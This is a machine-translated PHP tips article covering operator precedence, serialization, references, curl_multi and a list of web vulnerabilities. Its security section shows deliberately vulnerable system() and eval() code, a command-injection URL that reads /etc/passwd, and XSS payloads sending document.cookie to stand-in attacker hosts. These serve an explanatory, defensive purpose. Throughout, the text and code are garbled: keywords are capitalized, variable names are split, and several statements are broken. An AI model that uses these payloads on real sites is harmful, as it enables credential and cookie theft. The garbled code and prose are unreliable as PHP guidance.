Summary of PHP-based programming considerations. 1. php implicit ternary operators (? :) Priority problem: Example 1: Copy the code as follows: $ person $ whoor $ personlaruence; is actually equivalent to: $ personempty ($ who )? La
1. php implicit ternary operators (? :) Priority:
Example 1:
The code is as follows:
$ Person = $ who or $ person = "laruence ";
// It is actually equivalent:
$ Person = empty ($ who )? "Laruence": $ who;
Example 2
The code is as follows:
$ Arr = array (1 => 1, 3 => 3 );
$ I = 2;
$ A = 'test'. isset ($ arr [$ I])? $ Arr [$ I]: $ I;
What is $? This is a simple question,
$ A = 'test2 ';
In fact, after careful scrutiny, the result is notice: Undefined index 2 ..
Due to the problem of priority, the priority of the connector is higher than that of the ternary operator.
First, judge that the string 'test'. isset ($ arr [$ I]) is always true. therefore:
$ A = $ arr [$ I]; prompts you in php.
2. PHP function names and class names are case-insensitive, while variable names are case-sensitive.
Therefore, php modules written by myself are often capitalized and cannot be compiled.
3. serialization transmission problems
Compress complex data types into a string
Serialize () encodes variables and their values into text form
Unserialize () restore original variable
The code is as follows:
$ Stooges = array ('Moe', 'Larry ', 'Curly ');
$ New = serialize ($ stooges );
Print_r ($ new); echo"
";
Print_r (unserialize ($ new ));
Result: a: 3: {I: 0; s: 3: "Moe"; I: 1; s: 5: "Larry"; I: 2; s: 5: "Curly ";}
Array ([0] => Moe [1] => Larry [2] => Curly)
When the serialized data is placed in a URL and transmitted between pages, you need to call urlencode () to ensure that the URL metacharacters in the URL are processed:
The code is as follows:
$ Shopping = array ('Poppy seed bagel '=> 2, 'plain Bagel' => 1, 'lor' => 4 );
Echo 'next ';
The settings of the margic_quotes_gpc and magic_quotes_runtime parameters affect the data transmitted to unserialize.
If magic_quotes_gpc is enabled, stripslashes () must be used to process the data transmitted in URLs, POST variables, and cookies before Deserialization:
The code is as follows:
$ New_cart = unserialize (stripslashes ($ cart); // If magic_quotes_gpc is enabled
$ New_cart = unserialize ($ cart );
If magic_quotes_runtime is enabled, you must use addslashes () for processing before writing serialized data to the file, and use stripslashes () for processing before reading them:
The code is as follows:
$ Fp = fopen ('/tmp/cart', 'w ');
Fputs ($ fp, addslashes (serialize ($ )));
Fclose ($ fp );
// If magic_quotes_runtime is enabled
$ New_cat = unserialize (stripslashes (file_get_contents ('/tmp/cart ')));
// If magic_quotes_runtime is disabled
$ New_cat = unserialize (file_get_contents ('/tmp/cart '));
When magic_quotes_runtime is enabled, the serialized data read from the database must also be processed by stripslashes (). The serialized data saved to the database must be processed by addslashes, in order to be properly stored.
The code is as follows:
Mysql_query ("insert into cart (id, data) values (1, '". addslashes (serialize ($ cart ))."')");
$ Rs = mysql_query ('select data from cart where id = 1 ');
$ Ob = mysql_fetch_object ($ rs );
// If magic_quotes_runtime is enabled
$ New_cart = unserialize (stripslashes ($ ob-> data ));
// If magic_quotes_runtime is disabled
$ New_cart = unserialize ($ ob-> data );
When an object is deserialized, PHP automatically calls its _ wakeUp () method. This allows the object to re-establish various states that are not retained during serialization. For example, database connection.
4. References
The reference in PHP means that different names are used to access the content of the same variable. the reference is not a C pointer (the pointer in the C language stores the content of the variable and the address stored in the memory ), is another alias or ING of the variable. Note that in PHP, the variable name and variable content are different, so the same content can have different names. The closest analogy is the Unix file name and the file itself-the variable name is a directory entry, while the variable content is the file itself. References can be seen as a shortcut for close connections or wins in Unix file systems.
1) unset a reference only disconnects the binding between the variable name and the variable content. This does not mean that the variable content is destroyed.
For example, it does not unset $ B, but only $.
The code is as follows:
$ A = 1;
$ B = & $;
Unset ($ );
Echo $ B; // output: 1:
The unset ($ a) and $ a = null results are different. If the block memory only has $ a ING, the unset ($ a) is equivalent to $ a = null, and the reference count of the memory is changed to 0, which is automatically recycled; if the block memory has ing between $ a and $ B, unset ($ a) causes $ a to be null and $ B to remain unchanged, $ a = null may cause $ a = $ B = null.
Cause: if the value of a variable is null, the reference count of the memory block corresponding to the variable is directly set to 0, which is automatically recycled.
2) PHP reference uses reference counting and copy at write time.
Many people misunderstand that the reference in Php is the same as the pointer in C. in fact, this is not the case and it is quite different. In C language, pointers do not need explicit declarations in addition to the array transfer process, but must be defined by *. in php, pointers to addresses (similar to pointers) functions are not implemented by the user, but are implemented by the Zend core. the reference in php adopts the principle of "reference counting and copy at write time, (Copy-on-Write, also abbreviated as COW). as the name suggests, it means that a Copy of memory is copied for modification at the time of writing .)
Unless a write operation occurs, the variables or objects pointing to the same address will not be copied, for example, the following code:
$ A = array ('A', 'C'... 'n ');
$ B = $;
If the program is only executed here, $ B and $ B are the same, but not like C, $ a and $ B occupy different memory space, it points to the same memory, which is the difference between php and c. it does not need to be written as $ B = & $ a to indicate that $ B points to $ a memory, zend has already helped you implement the reference, and zend will be very intelligent to help you determine when to handle this and when not.
If you continue to write the following code later, add a function, pass parameters by referencing, and print the output array size.
The code is as follows:
Function printArray (& $ arr) // reference transfer
{
Print (count ($ arr ));
}
PrintArray ($ );
In the above code, we pass the $ a array into the printArray () function through reference. the zend Engine will think that printArray () may cause changes to $, at this time, a $ a data copy is automatically generated for $ B, and a memory is re-applied for storage. This is the "reference count, copy at Write Time" concept mentioned above.
Intuitive understanding: $ a uses its original memory space, while $ B uses the new memory space, this space will use the original content of $ a (before $ a or $ B changes) to copy the content of the content space, and then make corresponding changes.
If we change the above code to the following:
The code is as follows:
Function printArray ($ arr) // value transfer
{
Print (count ($ arr ));
}
PrintArray ($ );
The above code directly transmits the $ a value to printArray (). at this time, there is no reference transfer, so there is no copy at write time.
5. encoding problems
The program code uses the UTF-8 code, while the strlen function calculates the number of bytes rather than the number of characters?
$ Str = "hello ";
Echo strlen ($ str );
Result: ANSI = 9, UTF-8 = 11, and UTF-8 Chinese characters are encoded in three bytes. To obtain the number of characters, use mb_strlen ().
6. PHP three methods for obtaining parameters
Method 1 use $ argc $ argv
The code is as follows:
If ($ argc> 1 ){
Print_r ($ argv );
}
Run/usr/local/php/bin/php./getopt. php-f 123-g 456 in the command line.
Running result:
#/Usr/local/php/bin/php./getopt. php-f 123-g 456
Array
(
[0] =>./getopt. php
[1] =>-f
[2] => 123.
[3] =>-g
[4] = & gt; 456
)
Method 2 use the getopt function ()
The code is as follows:
$ Options = "f: g :";
$ Opts = getopt ($ options );
Print_r ($ opts );
Run/usr/local/php/bin/php./getopt. php-f 123-g 456 in the command line.
Running result:
Array
(
[F] = & gt; 123
[G] = & gt; 456
)
Method 3 prompt the user to enter and then obtain the input parameters. A bit like C language
The code is as follows:
Fwrite (STDOUT, "Enter your name :");
$ Name = trim (fgets (STDIN ));
Fwrite (STDOUT, "Hello, $ name! ");
Run/usr/local/php/bin/php./getopt. php in the command line.
Running result
Enter your name: francis
Hello, francis!
7. php strings can be used as arrays, which are the same as c pointer strings.
The code is as follows:
$ S = '000000 ';
$ S [$ s [0] = 0;
Echo $ s;
?>
Result 10345
8. efficient PHP writing:
9. PHP Security vulnerabilities:
PHP websites are vulnerable to the following attacks:
1. Command Injection)
PHP can use the following five functions to execute external applications or functions system, exec, passthru, shell_exec, "(same as shell_exec)
For example:
The code is as follows:
$ Dir = $ _ GET ["dir"];
If (isset ($ dir )){
Echo "";
System ("ls-al". $ dir );
Echo "";
}
?>
We submit http://www.test.com/ex1.php? Dir = | cat/etc/passwd. the command is changed to system ("ls-al | cat/etc/passwd"). you can steal the server user information.
2. eval Injection)
The eval function executes input string parameters as PHP code. eval injection usually occurs when attackers can control input strings.
The code is as follows:
$ Var = "var ";
If (isset ($ _ GET ["arg"])
{
$ Arg = $ _ GET ["arg"];
Eval ("\ $ var = $ arg ;");
Echo "\ $ var =". $ var;
}
?>
When we submit http://www.sectop.com/ex2.php? Arg = phpinfo (); the vulnerability is generated;
Methods for preventing command injection and eval injection
1) try not to execute external commands.
2) use a user-defined function or function library to replace the functions of external commands. some servers may not directly use these functions.
3) use the escapeshellarg function to process command parameters. the esacpeshellarg function will escape any character that causes the parameter or command end, and replace the single quotation mark (') with "\". double quotation marks "", replaced with "\", semicolon ";" with "\;"
3. Script Insertion)
Client script implantation attack steps
1) attackers can log on to the website after registering common users.
2) open the message page and insert the attacked js code
3) other users log on to the website (including the administrator) and view the content of this message.
4) the JavaScript code hidden in the message content is executed and the attack succeeds.
Enter some scripts that can be executed by the browser in the form:
Insert script while (1) {windows. open ();} script unlimited dialog box
Insert script location. href = "http://www.sectop.com"; script jump to phishing page
The best way to prevent malicious HTML tags is to use htmlspecailchars or htmlentities to convert some strings into html entities.
4. Cross-Site Scripting (XSS)
A malicious attacker inserts malicious html code into a Web page. when a user browses this page, the html code embedded in the Web is executed to achieve the special purpose of a malicious user.
Cross-site scripting is mainly used by attackers to read cookies or other personal data of website users. Once attackers obtain the data, they can pretend to be the user to log on to the website, obtain the permissions of this user.
Common steps for cross-site scripting attacks:
1) the attacker sends the http link of xss to the target user in some way, such as the comment form:
Insert script document. location = "go. somewhere. bad? Cookie = + "this. cookie script"
Or link:
Http: // w. my. site/index. php? User = <script> document. location = "http: // w. atacker. site/get. php? Cookie = "+ document. cookie; </script>
2) the target user logs on to the website and opens the xss link sent by the attacker during the login.
3) the website executes the xss attack script
4) the target user page jumps to the attacker's website and the attacker obtains the target user information.
5) attackers use the information of the target user to log on to the website and complete the attack.
The best way to prevent malicious HTML tags is to use htmlspecailchars or htmlentities to convert some strings into html entities.
5. SQL injection attacks)
The most effective way to defend against SQL injection is to use prepared statements:
A prepared statement (also called a prepared statement prepared statements) is a kind of query. it is first sent to the server for pre-compilation and preparation, in addition, you will be notified of the location of the stored parameters when you execute this query in the future.
Advantages:
1) escape the parameter values. Therefore, you do not need to call a string like mysqli: real_escape_string or put the parameter in quotation marks.
2) when a script is executed multiple times, the performance of the prepared statement is usually better than that of the prepared statement sent through the network each time. when a query is executed again, only the parameters are sent to the database, this consumes less space.
1) use PDO (PHP Data Objects ):
The code is as follows:
Php pdo: prepare () and execute ()
$ PreparedStatement = $ db-> prepare ('Insert INTO table (column) VALUES (: column )');
$ PreparedStatement-> execute (array (': column' => $ unsafeValue ));
2) use mysqli:
The code is as follows:
$ Stmt = $ dbConnection-> prepare ('select * FROM employees WHERE name =? ');
$ Stmt-> bind_param ('s ', $ name );
$ Stmt-> execute ();
$ Result = $ stmt-> get_result ();
While ($ row = $ result-> fetch_assoc ()){
// Do something with $ row
}
6. Cross-Site Request forgery (CSRF)
7. Session Hijacking)
8. Session Fixation)
9. HTTP Response Splitting attack (HTTP Response Splitting)
10. File Upload Attack)
11. Directory Traversal vulnerability (Directory Traversal)
12. Remote file Inclusion attack)
13. Dynamic function injection (Dynamic Variable Evaluation)
14. URL attack)
15. Form submission spoofing attack (Spoofed Form Submissions)
16. HTTP request spoofing attack (Spoofed HTTP Requests)
Several important php. ini options: register_globals, magic_quotes, and safe_mode. These options will be discarded in php5.4.
Register_globals:
Php> = 4.2.0, the default value of the register_globals option of php. ini is set to Off. when register_globals
When set to On, the program can receive various environment variables from the server, including the variables submitted by the form, and PHP does not have to initialize the variable value in advance, which leads to a great security risk.
Make sure to disable register_globals. If register_globals is enabled, you may do some careless things, such as replacing the GET or POST string with the same name with $ variable. By disabling this setting, PHP forces you to reference the correct variables in the correct namespace. To use a variable from Form POST, you should reference $ _ POST ['variable']. In this way, the specific variable will not be misunderstood as a cookie, session, or GET variable.
Safe_mode:
Security mode. PHP is used to restrict access to documents, access to environment variables, and control execution of external programs. To enable security mode, you must set safe_mode = On in php. ini.
Magic_quotes
It is used to automatically escape input information of php programs. all single quotes (""), double quotation marks ("), backslash (" \ "), and NULL characters (NULL ), are automatically added with a backslash to escape magic_quotes_gpc = On is used to set magicquotes to On, it will affect the HTTP request data (GET, POST, Cookies) programmers can also use addslashes to escape the submitted HTTP request data, or use stripslashes to delete the escape.
10. concurrent use of curl multiple requests
Curl must have been used, but it is estimated that the concurrent use is not much. But in some cases, it is indeed useful. for example, to call multiple other interfaces in the same request, the traditional method requires the serial request interface:
File_get_contents ('http: // a. php'); // 1 second
File_get_contents ('http: // B. php'); // 2 seconds
File_get_contents ('http: // c. php'); // 2 seconds
It takes 5 seconds to complete the request, but it takes only 2 seconds to operate the curl muti method. in the php manual, there is a piece of code:
The code is as follows:
$ Mrc = curl_multi_init ();
// Send a request
.......
$ Active = null;
Do {
$ Mrc = curl_multi_exec ($ mh, $ active );
} While ($ mrc = CURLM_CALL_MULTI_PERFORM );
While ($ active & $ mrc = CURLM_ OK ){
If (curl_multi_select ($ mh )! =-1 ){
Do {
$ Mrc = curl_multi_exec ($ mh, $ active );
} While ($ mrc = CURLM_CALL_MULTI_PERFORM );
}
}
// The following is the result returned by the processing request.
However, if I have 1000 requests, the curl batch processing will concurrently process 1000 requests, which is obviously unreasonable. Therefore, we should control the number of concurrent requests and add the remaining connections to the request queue:
Reference: How to use curl_multi () without blocking
The code is as follows:
$ Connomains = array (
// 2. go to php
"Http: // localhost/2.php? Id = 1 ", // sleep (1) seconds
"Http: // localhost/2.php? Id = 2 ", // sleep (2) seconds
"Http: // localhost/2.php? Id = 5 ", // sleep (5) seconds
);
$ Mh = curl_multi_init ();
Foreach ($ connomains as $ I => $ url ){
$ Conn [$ I] = curl_init ($ url); // initialize each sub-connection
Curl_setopt ($ conn [$ I], CURLOPT_RETURNTRANSFER, 1); // not directly output to the browser
Curl_multi_add_handle ($ mh, $ conn [$ I]); // add multiple processing handles
}
$ Active = 0; // number of connections
Do {
Do {
// Here $ active will be rewritten to the number of unprocessed items
// All processed successfully $ active changes to 0
$ Mrc = curl_multi_exec ($ mh, $ active );
// The purpose of this loop is to read and write as much as possible until the read and write cannot be continued (CURLM_ OK is returned)
// The returned result (CURLM_CALL_MULTI_PERFORM) indicates that the data can be read and written to the network.
} While ($ mrc = CURLM_CALL_MULTI_PERFORM );
// If everything is normal, we need to make a round robin and request again at a certain time (1 second by default)
// This is the role of curl_multi_select. when waiting, it returns the number of currently readable and writable handles, so that
// Continue the read/write operation. if the value is 0, there is no read/write handle (completed)
} While ($ mrc = CURLM_ OK & $ active & curl_multi_select ($ mh )! =-1); // until an error occurs or all the reads and writes have been completed
If ($ mrc! = CURLM_ OK ){
Print "Curl multi read error $ mrc/n ";
}
// Retrieve data
Foreach ($ connomains as $ I => $ url ){
If ($ err = curl_error ($ conn [$ I]) = ''){
$ Res [$ I] = curl_multi_getcontent ($ conn [$ I]);
} Else {
Print "Curl error on handle $ I: $ err/n ";
}
Curl_multi_remove_handle ($ mh, $ conn [$ I]);
Curl_close ($ conn [$ I]);
}
Curl_multi_close ($ mh );
Print_r ($ res );
?>
Some people write as follows to save time:
Do {curl_multi_exec ($ mh, $ active) ;}while ($ active );
It seems that the results can also be obtained, but in fact it is not rigorous, and it is a waste of cpu, because this loop will be continuously called until all links are processed, add print 'A' in the loop to see the effect.
11. empty uses magic _ get to determine whether the object property is empty.
Please note that results of empty () when called on non-existing/non-public variables of a class are a bit confusing if using magic method _ get (as previusly mentioned by nahpeps at gmx dot de ). consider this example:
The code is as follows:
Class Registry
{
Protected $ _ items = array ();
Public function _ set ($ key, $ value)
{
$ This-> _ items [$ key] = $ value;
}
Public function _ get ($ key)
{
If (isset ($ this-> _ items [$ key]) {
Return $ this-> _ items [$ key];
} Else {
Return null;
}
}
}
$ Registry = new Registry ();
$ Registry-> empty = '';
$ Registry-> notEmpty = 'not empty ';
Var_dump (empty ($ registry-> notExisting); // true, so far so good
Var_dump (empty ($ registry-> empty); // true, so far so good
Var_dump (empty ($ registry-> notEmpty); // true,... say what?
$ Tmp = $ registry-> notEmpty;
Var_dump (empty ($ tmp); // false as expected
?>
12. the command line PHP file in Linux must be in unix format.
Php./test. php
If test. php is uploaded by S, the format may be dos.
Then run the command to report the error "cocould not open input file ".
We can use set ff in vi to view the format:
Fileformat = dos
If the format is dos, use: set ff = unix to set a new format.
Use: set ff to view the format. you can see that it is already in unix format;
Fileformat = unix
Equals (? :) Priority problem: Example 1: Code: $ person = $ who or $ person = "laruence"; // is actually equivalent to: $ person = empty ($ who )? "La...